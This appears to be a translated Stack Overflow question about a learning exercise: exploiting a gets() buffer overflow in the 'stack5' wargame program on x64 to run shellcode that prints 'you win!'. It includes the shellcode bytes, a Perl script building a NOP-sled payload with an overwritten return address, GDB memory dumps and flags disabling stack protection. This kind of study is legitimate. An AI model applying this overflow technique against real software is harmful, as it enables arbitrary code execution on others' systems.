【发布时间】:2015-01-18 18:50:32
【问题描述】:
我正在按照以下链接中提供的教程学习如何通过缓冲区溢出插入 shell 代码并将您的 EIP/RIP 重定向到正确制作的 shell 代码以将 you win! 字符串打印到标准输出:
本教程对如何在 i386 架构上覆盖 EIP 以执行您的 shell 代码进行了清晰而彻底的解释。唯一的区别是我使用的是 x64 架构(EIP -> RIP)。
这是stack5.c程序,需要打印you win!才能成功。解决方案是您需要插入 shellcode 来执行此操作,并通过将保存的 RIP 覆盖到您的 shellcode(或它前面的 NOP 幻灯片)来强制程序执行您的 shellcode。
/* stack5-stdin.c *
* specially crafted to feed your brain by gera */
#include <stdio.h>
int main() {
int cookie;
char buf[80];
printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);
if (cookie == 0x000d0a00)
printf("you loose!\n");
}
asm中的shell代码(stack5shell.asm):
BITS 64 ; Tell nasm this is 32-bit code.
call mark_below ; Call below the string to instructions
db "you win!", 0x0a, 0x0d ; with newline and carriage return bytes.
mark_below:
; ssize_t write(int fd, const void *buf, size_t count);
pop rcx ; Pop the return address (string ptr) into rcx.
mov eax, 4 ; Write syscall #.
mov ebx, 1 ; STDOUT file descriptor
mov edx, 10 ; Length of the string
int 0x80 ; Do syscall: write(1, string, 10)
; void _exit(int status);
mov eax, 1 ; Exit syscall #
mov ebx, 0 ; Status = 0
int 0x80 ; Do syscall: exit(0)
在hexdump中的shell代码机器码(用“nasm -o stack5shell.shell stack5shell.asm”生成):
00000000 eb 15 59 31 c0 b0 04 31 db ff c3 31 d2 b2 08 cd |..Y1...1...1....|
00000010 80 b0 01 ff cb cd 80 e8 e6 ff ff ff 79 6f 75 20 |............you |
00000020 77 69 6e 21 |win!|
00000024
我使用以下 perl 脚本来测试我的结果(因为我无法在终端上输入无 ascii 字符,并且程序正在使用 get fromm stdin 来溢出 buf[]):
#!/usr/bin/env perl
use strict;
use Expect;
my $timeout = 10;
my $executable = "./stack5 ";
my $nop_slide = "\x90" x 68;
my $youwin_shell = "\xeb\x15\x59\x31\xc0\xb0\x04\x31\xdb\xff\xc3\x31\xd2\xb2\x08\xcd\x80\xb0\x01\xff\xcb\xcd\x80\xe8\xe6\xff\xff\xff\x79\x6f\x75\x20\x77\x69\x6e\x21";
my $return_address = "\xd0\xdc\xff\xff\xff\x7f";
my $input = $nop_slide.$youwin_shell.$return_address."\n";
my $input_length = length $input;
print("Start run... (input length $input_length) \n\n");
my $exp = Expect->spawn($executable) or die "Cannot spawn cookie-win command \n";
$exp->expect($timeout, ["buf"]);
$exp->send($input);
$exp->soft_close();
perl 脚本没有成功生成 you win! 输出。
Start run... (input length 111)
buf: ffffdcd0 cookie: ffffdd2c
^ZYH1��H1�H��H1Ҳ^H̀�^AH��̀�����you win!����
当我使用 GDB 时(如本问题开头提到的 2 篇博文中所述),我似乎已经成功地正确覆盖了保存的 RIP。然而,我的 shell 代码似乎没有被执行,所以我对出了什么问题感到困惑:
$ gdb ./stack5
(gdb) list
warning: Source file is more recent than executable.
1 /* stack5-stdin.c *
2 * specially crafted to feed your brain by gera */
3
4 #include <stdio.h>
5
6 int main() {
7 int cookie;
8 char buf[80];
9
10 printf("buf: %08x cookie: %08x\n", &buf, &cookie);
11 gets(buf);
12
13 if (cookie == 0x000d0a00)
14 printf("you loose!\n");
15 }
(gdb) break 15
Breakpoint 1 at 0x4005ff: file stack5.c, line 15.
(gdb) continue
Continuing.
Breakpoint 1, main () at stack5.c:15
warning: Source file is more recent than executable.
15 }
(gdb) backtrace
#0 main () at stack5.c:15
(gdb) info frame 0
Stack frame at 0x7fffffffdd40:
rip = 0x4005ff in main (stack5.c:15); saved rip = 0x7fffffffdcd0
source language c.
Arglist at 0x7fffffffdd30, args:
Locals at 0x7fffffffdd30, Previous frame's sp is 0x7fffffffdd40
Saved registers:
rbp at 0x7fffffffdd30, rip at 0x7fffffffdd38
(gdb) x/120x buf
0x7fffffffdcd0: 0x315915eb 0x3104b0c0 0x31c3ffdb 0xcd08b2d2
0x7fffffffdce0: 0xff01b080 0xe880cdcb 0xffffffe6 0x20756f79
0x7fffffffdcf0: 0x216e6977 0x90909090 0x90909090 0x90909090
0x7fffffffdd00: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffdd10: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffdd20: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffdd30: 0x90909090 0x90909090 0xffffdcd0 0x00007fff
为了允许 shell 代码的堆栈执行,我使用了以下编译标志:
# gcc -g -w -ggdb -static -fno-stack-protector -z execstack -c stack5.c -o stack5.o
# gcc stack5.o -Wall -lm -o stack5
# execstack --set-execstack stack5
# execstack stack5
X stack5
我还使用另一个示例 C 程序测试了 shell 代码本身,以确保该代码本身没有错误,如 thisstackoverflow 帖子中所述。
任何人知道为什么会出错,即使 GDB 似乎检测到已成功覆盖已保存的 RIP?
任何帮助表示赞赏
【问题讨论】:
-
我的第一个想法是你不应该在 x64 上使用 int 80:blog.rchapman.org/post/36801038863/…
标签: assembly 64-bit nasm buffer-overflow shellcode